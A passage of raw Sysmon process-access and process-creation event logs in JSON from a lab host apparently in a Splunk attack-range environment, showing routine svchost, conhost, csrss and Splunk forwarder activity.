11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.758\r\nProcessGuid: {90617006-3FE8-5F2D-0000-001030450300}\r\nProcessId: 2288\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.758","ProcessGuid":"{90617006-3FE8-5F2D-0000-001030450300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 